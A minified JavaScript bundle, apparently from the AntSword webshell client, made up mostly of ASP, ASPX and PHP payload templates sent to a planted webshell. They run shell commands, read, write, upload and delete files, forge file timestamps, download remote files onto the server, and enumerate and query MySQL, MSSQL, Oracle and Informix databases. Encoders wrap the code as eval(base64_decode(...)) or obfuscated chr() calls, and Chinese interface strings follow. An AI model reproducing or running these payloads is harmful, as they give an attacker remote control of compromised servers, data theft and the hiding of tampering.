FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":Response.Write(S):End If'},u.arg1,"#{hex::path}"),create_file:(a={_:'CreateObject("Scripting.FileSystemObject").CreateTextFile(""&bd(Request("'+u.arg1+'"))&"").Write(""&bd(Request("'+u.arg2+'"))&""):If Err Then:S="ERROR:// "&Err.Description:Else:S="1":Response.Write(S):End If'},n(a,u.arg1,"#{hex::path}"),n(a,u.arg2,"#{hex::content}"),a),read_file:n({_:'Response.Write(CreateObject("Scripting.FileSystemObject").OpenTextfile(bd(Request("'+u.arg1+'")),1,False).readall):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:End If'},u.arg1,"#{hex::path}"),copy:(s={_:'SF=bd(Request("'+u.arg1+'")):DF=bd(Request("'+u.arg2+'")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:else:SI="1":End If:Response.Write(SI)'},n(s,u.arg1,"#{hex::path}"),n(s,u.arg2,"#{hex::target}"),s),download_file:n({_:'Dim i,c,r:Set S=Server.CreateObject("Adodb.Stream"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile(bd(Request("'+u.arg1+'"))):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite "ERROR:// "&Err.Description:End If'},u.arg1,"#{hex::path}"),upload_file:(o={_:'Dim l,ss,ff,T:ff=bd(request("'+u.arg1+'")):ss=Request("'+u.arg2+'"):l=Len(ss):Set S=Server.CreateObject("Adodb.Stream"):With S:.Type=1:.Mode=3:.Open:On Error Resume Next:.LoadFromFile ""&ff&"":.Position=.Size:If Err Then:Err.Clear:End If:set rs=CreateObject("ADODB.Recordset"):rs.fields.append "bb",205,l/2:rs.open:rs.addnew:rs("bb")=ss+chrb(0):rs.update:.Write rs("bb").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile ""&ff&"",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T="1":End If:Response.Write(T)'},n(o,u.arg1,"#{hex::path}"),n(o,u.arg2,"#{buffer::content}"),n(o,u.arg3,"1"),o),rename:(i={_:'SF=bd(Request("'+u.arg1+'")):DF=bd(Request("'+u.arg2+'")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:Else:SI="1":End If:Response.Write(SI)'},n(i,u.arg1,"#{hex::path}"),n(i,u.arg2,"#{hex::name}"),i),retime:(c={_:'FN=bd(Request("'+u.arg1+'")):TM=bd(Request("'+u.arg2+'")):AA=Split(FN,"\\"):PT="":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&"\\":Next:NM=AA(UBound(AA)):Server.CreateObject("Shell.Application").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI="ERROR:// "&PT&Err.Description:Err.Clear:Else:SI="1":End If:Response.Write(SI)'},n(c,u.arg1,"#{hex::path}"),n(c,u.arg2,"#{hex::time}"),c),mkdir:n({_:'Set Fs=CreateObject("Scripting.FileSystemObject"):Fs.CreateFolder(bd(Request("'+u.arg1+'"))):Set Fs=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)'},u.arg1,"#{hex::path}"),wget:(l={_:'Dim SI:Set x=CreateObject("Microsoft.XMLHTTP"):x.Open "GET",""&bd(Request("'+u.arg1+'"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("'+u.arg2+'"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)'},n(l,u.arg1,"#{hex::url}"),n(l,u.arg2,"#{hex::path}"),l)}},function(e,t,r){(function(t){"use strict";e.exports=function(e,r){var n="_0x"+Math.random().toString(16).substr(2);return r[n]=new t(r._).toString("base64"),r[e]="eval(base64_decode($_POST["+n+"]));",delete r._,r}}).call(t,r(1).Buffer)},function(e,t){"use strict";e.exports=function(e,t){var r=function(e){for(var t=[],r=0;r<e.length;)t.push(e[r].charCodeAt()),r++;return"eVAl(cHr("+t.join(").ChR(")+"));"};return t[e]=r(t._),delete t._,t}},function(e,t){"use strict";e.exports={info:'var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+" ");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");'}},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var a,s=r(3);e.exports={exec:(a={_:'var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+s.arg1+'"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+s.arg2+'"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());'},n(a,s.arg1,"#{base64::bin}"),n(a,s.arg2,"#{base64::cmd}"),a)}},function(e,t,r){"use strict";e.exports=r(6)},function(e,t,r){"use strict";e.exports=r(9)},function(e,t,r){"use strict";e.exports=r(6)},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var a,s,o=r(3);e.exports={show_databases:n({_:'var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+o.arg1+'"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();'},o.arg1,"#{base64::conn}"),show_tables:n({_:'var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+o.arg1+'"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("SELECT TABLE_NAME FROM ALL_TABLES",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();'},o.arg1,"#{base64::conn}"),show_columns:(a={_:'function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+o.arg1+'"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+o.arg2+'"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();'},n(a,o.arg1,"#{base64::conn}"),n(a,o.arg2,"#{base64::table}"),a),query:(s={_:'var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+o.arg2+'"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+o.arg1+'"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();'},n(s,o.arg1,"#{base64::conn}"),n(s,o.arg2,"#{base64::sql}"),s)}},function(e,t,r){"use strict";e.exports=r(6)},function(e,t,r){"use strict";e.exports=r(6)},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var a,s,o,i=r(3);e.exports={show_databases:n({_:'var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+i.arg1+'"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();'},i.arg1,"#{base64::conn}"),show_tables:(a={_:'var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+i.arg1+'"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("USE ["+Request.Item["'+i.arg2+'"]+"];SELECT [name] FROM sysobjects WHERE (xtype=\'U\') ORDER BY 1",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();'},n(a,i.arg1,"#{base64::conn}"),n(a,i.arg2,"#{dbname}"),a),show_columns:(s={_:'var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+i.arg1+'"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+i.arg2+'"])),Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+" ("+Rs.Fields(1).Value+")\\t");Rs.MoveNext();}Rs.Close();Conn.Close();'},n(s,i.arg1,"#{base64::conn}"),n(s,i.arg2,"#{base64::sql}"),s),query:(o={_:'var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+i.arg2+'"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+i.arg1+'"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;Conn.DefaultDatabase="'+i.arg3+'";var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();'},n(o,i.arg1,"#{base64::conn}"),n(o,i.arg2,"#{base64::sql}"),n(o,i.arg3,"#{dbname}"),o)}},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var a,s,o,i,c,l,u=r(3);e.exports={dir:n({_:'var D=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+u.arg1+'"]));var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/ "+T(P)+" 0 -\n");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+" "+T(P)+" "+s[i].Length+" -\n");}'},u.arg1,"#{base64::path}"),"delete":n({_:'var P:String=System.Convert.FromBase64String(Request.Item["'+u.arg1+'"]);if(System.IO.Directory.Exists(P)){System.IO.Directory.Delete(P,true);}else{System.IO.File.Delete(P);}Response.Write("1");'},u.arg1,"#{base64::path}"),create_file:(a={_:'var P=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+u.arg1+'"]));var m=new System.IO.StreamWriter(P,false,Encoding.Default);m.Write(System.Convert.FromBase64String(Request.Item["'+u.arg2+'"]));m.Close();Response.Write("1");'},n(a,u.arg1,"#{base64::path}"),n(a,u.arg2,"#{base64::content}"),a),read_file:n({_:'var P=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+u.arg1+'"]));var m=new System.IO.StreamReader(P,Encoding.Default);Response.Write(m.ReadToEnd());m.Close();'},u.arg1,"#{base64::path}"),copy:(s={_:'var S=System.Convert.FromBase64String(Request.Item["'+u.arg1+'"]);var D=System.Convert.FromBase64String(Request.Item["'+u.arg2+'"]);function cp(S:String,D:String){if(System.IO.Directory.Exists(S)){var m=new System.IO.DirectoryInfo(S);var i;var f=m.GetFiles();var d=m.GetDirectories();System.IO.Directory.CreateDirectory(D);for (i in f)System.IO.File.Copy(S+"\\"+f[i].Name,D+"\\"+f[i].Name);for (i in d)cp(S+"\\"+d[i].Name,D+"\\"+d[i].Name);}else{System.IO.File.Copy(S,D);}}cp(S,D);Response.Write("1");'},n(s,u.arg1,"#{base64::path}"),n(s,u.arg2,"#{base64::target}"),s),download_file:n({_:'Response.WriteFile(System.Convert.FromBase64String(Request.Item["z1"]));'},u.arg1,"#{base64::path}"),upload_file:(o={_:'var P:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+u.arg1+'"]));var Z:String=Request.Item["'+u.arg2+'"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Append);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");'},n(o,u.arg1,"#{base64::path}"),n(o,u.arg2,"#{buffer::content}"),o),rename:(i={_:'var src=System.Convert.FromBase64String(Request.Item["'+u.arg1+'"]),dst=System.Convert.FromBase64String(Request.Item["'+u.arg2+'"]);if (System.IO.Directory.Exists(src)){System.IO.Directory.Move(src,dst);}else{System.IO.File.Move(src,dst);}Response.Write("1");'},n(i,u.arg1,"#{base64::path}"),n(i,u.arg2,"#{base64::name}"),i),retime:(c={_:'var DD=System.Convert.FromBase64String(Request.Item["'+u.arg1+'"]),TM=System.Convert.FromBase64String(Request.Item["'+u.arg2+'"]);if(System.IO.Directory.Exists(DD)){System.IO.Directory.SetCreationTime(DD,TM);System.IO.Directory.SetLastWriteTime(DD,TM);System.IO.Directory.SetLastAccessTime(DD,TM);}else{System.IO.File.SetCreationTime(DD,TM);System.IO.File.SetLastWriteTime(DD,TM);System.IO.File.SetLastAccessTime(DD,TM);}Response.Write("1");'},n(c,u.arg1,"#{base64::path}"),n(c,u.arg2,"#{base64::time}"),c),mkdir:n({_:'var D=System.Convert.FromBase64String(Request.Item["'+u.arg1+'"]);System.IO.Directory.CreateDirectory(D);Response.Write("1");'},u.arg1,"#{base64::path}"),wget:(l={_:'var X=new ActiveXObject("Microsoft.XMLHTTP");var S=new ActiveXObject("Adodb.Stream");S.Type=1;S.Mode=3;S.Open();X.Open("GET",System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+u.arg1+'"])),false);X.Send();S.Write(X.ResponseBody);S.Position=0;S.SaveToFile(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["'+u.arg2+'"])),2);S.close;S=null;X=null;Response.Write("1");'},n(l,u.arg1,"#{base64::url}"),n(l,u.arg2,"#{base64::path}"),l)}},function(e,t,r){(function(t){"use strict";e.exports=function(e,r){var n={};for(var a in r)"_"!==a&&(n[a]=new t(r[a]).toString("base64"));return n[e]=r._,n}}).call(t,r(1).Buffer)},function(e,t,r){(function(t){"use strict";e.exports=function(e,r){var n={};for(var a in r)"_"!==a&&(n[a]=new t(r[a]).toString("hex"));return n[e]=r._,n}}).call(t,r(1).Buffer)},function(e,t){"use strict";e.exports={info:"A"}},function(e,t){"use strict";e.exports={exec:{_:"M",z1:"#{bin}",z2:"#{cmd}"}}},function(e,t,r){"use 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t._,t}},function(e,t){"use strict";e.exports={info:'$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("A","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;'
}},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var a,s,o=r(4);e.exports={exec:(a={_:'$p=base64_decode($_POST["'+o.arg1+'"]);$s=base64_decode($_POST["'+o.arg2+'"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"ret={$ret}":"";'},n(a,o.arg1,"#{base64::bin}"),n(a,o.arg2,"#{base64::cmd}"),a),quote:(s={_:'$p=base64_decode($_POST["'+o.arg1+'"]);$s=base64_decode($_POST["'+o.arg2+'"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo `{$r} 2>&1`'},n(s,o.arg1,"#{base64::bin}"),n(s,o.arg2,"#{base64::cmd}"),s)}},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var 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FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname\",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);"},n(s,c.arg1,"#{host}"),n(s,c.arg2,"#{user}"),n(s,c.arg3,"#{passwd}"),n(s,c.arg4,"#{db}"),s),show_columns:(o={_:'$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["'+c.arg1+'"]):$_POST["'+c.arg1+'"];$usr=$m?stripslashes($_POST["'+c.arg2+'"]):$_POST["'+c.arg2+'"];$pwd=$m?stripslashes($_POST["'+c.arg3+'"]):$_POST["'+c.arg3+'"];$dbn=$m?stripslashes($_POST["'+c.arg4+'"]):$_POST["'+c.arg4+"\"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query(\"SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY 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(".$rs->type.")".chr(9));}@mssql_free_result($q);@mssql_close($T);'},n(o,c.arg1,"#{host}"),n(o,c.arg2,"#{user}"),n(o,c.arg3,"#{passwd}"),n(o,c.arg4,"#{db}"),n(o,c.arg5,"#{table}"),o),query:(i={_:'$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["'+c.arg1+'"]):$_POST["'+c.arg1+'"];$usr=$m?stripslashes($_POST["'+c.arg2+'"]):$_POST["'+c.arg2+'"];$pwd=$m?stripslashes($_POST["'+c.arg3+'"]):$_POST["'+c.arg3+'"];$dbn=$m?stripslashes($_POST["'+c.arg4+'"]):$_POST["'+c.arg4+'"];$sql=base64_decode($_POST["'+c.arg5+'"]);$T=@mssql_connect($hst,$usr,$pwd);@mssql_select_db($dbn,$db);$q=@mssql_query($sql,$T);$i=0;while($rs=@mssql_fetch_field($q)){echo($rs->name." | ");$i++;}echo("\r\n");while($rs=@mssql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(trim($rs[$c]));echo(" | ");}echo("\r\n");}@mssql_free_result($q);@mssql_close($T);'},n(i,c.arg1,"#{host}"),n(i,c.arg2,"#{user}"),n(i,c.arg3,"#{passwd}"),n(i,c.arg4,"#{db}"),n(i,c.arg5,"#{base64::sql}"),i)}},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var a,s,o,i,c=r(4);e.exports={show_databases:(a={_:'$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["'+c.arg1+'"]):$_POST["'+c.arg1+'"];$usr=$m?stripslashes($_POST["'+c.arg2+'"]):$_POST["'+c.arg2+'"];$pwd=$m?stripslashes($_POST["'+c.arg3+'"]):$_POST["'+c.arg3+'"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW DATABASES");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);'},n(a,c.arg1,"#{host}"),n(a,c.arg2,"#{user}"),n(a,c.arg3,"#{passwd}"),a),show_tables:(s={_:'$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["'+c.arg1+'"]):$_POST["'+c.arg1+'"];$usr=$m?stripslashes($_POST["'+c.arg2+'"]):$_POST["'+c.arg2+'"];$pwd=$m?stripslashes($_POST["'+c.arg3+'"]):$_POST["'+c.arg3+'"];$dbn=$m?stripslashes($_POST["'+c.arg4+'"]):$_POST["'+c.arg4+'"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW TABLES FROM `{$dbn}`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);'},n(s,c.arg1,"#{host}"),n(s,c.arg2,"#{user}"),n(s,c.arg3,"#{passwd}"),n(s,c.arg4,"#{db}"),s),show_columns:(o={_:'$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["'+c.arg1+'"]):$_POST["'+c.arg1+'"];$usr=$m?stripslashes($_POST["'+c.arg2+'"]):$_POST["'+c.arg2+'"];$pwd=$m?stripslashes($_POST["'+c.arg3+'"]):$_POST["'+c.arg3+'"];$dbn=$m?stripslashes($_POST["'+c.arg4+'"]):$_POST["'+c.arg4+'"];$tab=$m?stripslashes($_POST["'+c.arg5+'"]):$_POST["'+c.arg5+'"];$T=@mysql_connect($hst,$usr,$pwd);@mysql_select_db($dbn);$q=@mysql_query("SHOW COLUMNS FROM `{$tab}`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0])." 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".@filesize($P)." ".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}'},u.arg1,"#{base64::path}"),"delete":n({_:'function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}$F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["'+u.arg1+'"]):$_POST["'+u.arg1+'"]);if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");}'},u.arg1,"#{base64::path}"),create_file:(a={_:'echo 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失败！"+(t?"<br/>"+t:"")}},wget:{title:"Wget下载文件",check:"URL地址不正确！",task:{name:"WGET下载",start:"开始下载..",success:"下载成功！",failed:function(e){return"失败:"+e},error:function(e){return"错误:"+e}}},upload:{task:{name:"上传",failed:function(e){return"失败:"+e},error:function(e){return"出错:"+e}},success:function(e){return"上传文件成功！<br/>"+e},error:function(e,t){return"上传文件 ["+e+"] 失败！"+t}},folder:{title:"目录列表"},files:{title:"文件列表",bookmark:{add:"添加书签",del:"移除书签",clear:"清空书签"},toolbar:{"new":"新建",folder:"目录",file:"文件",wget:"Wget下载",upload:"上传文件",up:"上层",refresh:"刷新",home:"主目录",bookmark:"书签",read:"读取"},prompt:{add:{title:"添加到书签",
success:function(e){return"添加书签成功！<br/>"+e}},remove:{title:"移除书签",confirm:"确定移除此书签吗？",success:"移除书签成功！"},clear:{title:"清空书签",confirm:"确定清空所有书签吗？",success:"清空所有书签成功！"}},grid:{header:{name:"名称",time:"日期",size:"大小",attr:"属性"},contextmenu:{paste:{title:"粘贴文件",all:"所有列表",clear:{title:"清空列表",info:"清空剪贴板"}},preview:"预览文件",edit:"编辑文件","delete":"删除文件",rename:"重命名文件",refresh:"刷新目录",wget:"WGET下载",upload:"上传文件",download:"下载文件",modify:"更改文件时间",copy:{title:"复制文件",warning:function(e){return"已经添加到剪贴板！<br/>"+e},info:function(e){return"添加文件到剪贴板<br/>"+e}},create:{title:"新建",folder:"目录",file:"文件"}}}},editor:{title:function(e){return"编辑: "+e},toolbar:{save:"保存",mode:"高亮",encode:"编码"},loadErr:function(e){return"加载文件出错！<br/>"+e},success:function(e){return"保存文件成功！<br/>"+e},error:function(e,t){return"保存文件 ["+e+"] 失败！"+t}},tasks:{title:"任务列表",grid:{header:{name:"名称",desc:"简介",status:"状态",stime:"创建时间",etime:"完成时间"}}},download:{title:"下载文件",task:{name:"下载",wait:"准备下载",cancel:"取消下载",start:"开始下载",success:"下载成功",error:function(e){return"出错:"+e}},error:function(e,t){return"下载文件["+e+"]出错！<br/>"+t},success:function(e){return"下载文件["+e+"]成功！"}}},database:{list:{title:"配置列表",add:"添加",del:"删除",menu:{add:"添加配置",del:"删除配置"}},query:{title:"执行SQL",exec:"执行",clear:"清空"},result:{title:"执行结果",warning:"操作完毕，但没有结果返回！",error:{database:function(e){return"获取数据库列表失败！<br/>"+e},table:function(e){return"获取表数据失败！<br/>"+e},column:function(e){return"获取字段列表失败！<br/>"+e},query:function(e){return"执行SQL失败！<br/>"+e},parse:"返回数据格式不正确！",noresult:"没有查询结果！"}},form:{title:"添加配置",toolbar:{add:"添加",clear:"清空"},type:"数据库类型",encode:"数据库编码",host:"数据库地址",user:"连接用户",passwd:"连接密码",warning:"请填写完整！",success:"成功添加配置！",del:{title:"删除配置",confirm:"确定删除此配置吗？",success:"删除配置成功！",error:function(e){return"删除配置失败！<br/>"+e}}}},settings:{about:{title:"关于程序"},language:{title:"语言设置",toolbar:{save:"保存"},form:{label:"选择显示语言",zh:"简体中文",en:"English"},success:"保存语言设置成功！",confirm:{content:"重启应用生效，是否重启？",title:"更改语言"}},update:{title:"检查更新",toolbar:{check:"检查"}}},plugin:{error:function(e){return"加载插件中心失败！<br/>"+e}}}},function(e,t,r){"use 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a=this;r(this,e),this.opt=n,this.core=this.opt.core,this.manager=this.opt["super"],this.conns={mysql:"com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456",sqlserver:"com.microsoft.sqlserver.jdbc.SQLServerDriver\r\njdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456",oracle:"oracle.jdbc.driver.OracleDriver\r\njdbc:oracle:thin:user/password@127.0.0.1:1521/test"},this.tree=this.manager.list.layout.attachTree(),this.parse(),this.tree.attachEvent("onClick",function(e){e.startsWith("conn::")?a.enableToolbar():a.disableToolbar();var r=e.split("::"),n=r[1].split(":");a.dbconf=antSword.ipcRenderer.sendSync("shell-getDataConf",{_id:a.manager.opt._id,id:n[0]}),n.length>1?(a.dbconf.database=new t(n[1],"base64").toString(),a.enableEditor()):a.disableEditor()}),this.tree.attachEvent("onDblClick",function(e){var r=e.split("::");if(r.length<2)throw new Error("ID ERR: "+e);switch(r[0]){case"conn":a.getDatabases(r[1]);break;case"database":var n=r[1].split(":");a.getTables(n[0],new t(n[1],"base64").toString());break;case"table":var s=r[1].split(":");a.getColumns(s[0],new t(s[1],"base64").toString(),new t(s[2],"base64").toString());break;case"column":var o=r[1].split(":"),i=new t(o[2],"base64").toString(),c=new t(o[3],"base64").toString(),l="SELECT TOP 20 ["+c+"] FROM ["+i+"] ORDER BY 1 DESC;";a.manager.query.editor.session.setValue(l)}}),this.tree.attachEvent("onRightClick",function(e,t){e.startsWith("conn::")&&(a.tree.selectItem(e),a.tree.callEvent("onClick",[e]),bmenu([{text:"添加配置",icon:"fa fa-plus-circle",action:a.addConf.bind(a)},{divider:!0},{text:"删除配置",icon:"fa fa-remove",action:a.delConf.bind(a)}],t))})}return n(e,[{key:"parse",value:function(){var e=antSword.ipcRenderer.sendSync("shell-findOne",this.manager.opt._id),t=e.database||{};this.tree.deleteChildItems(0);var r=[];for(var n in t)r.push({id:"conn::"+n,text:t[n].type.toUpperCase(),im0:this.manager.list.imgs[0],im1:this.manager.list.imgs[0],im2:this.manager.list.imgs[0]});this.tree.parse({id:0,item:r},"json"),this.disableToolbar(),this.disableEditor()}},{key:"addConf",value:function(){var e=this,t=(+new 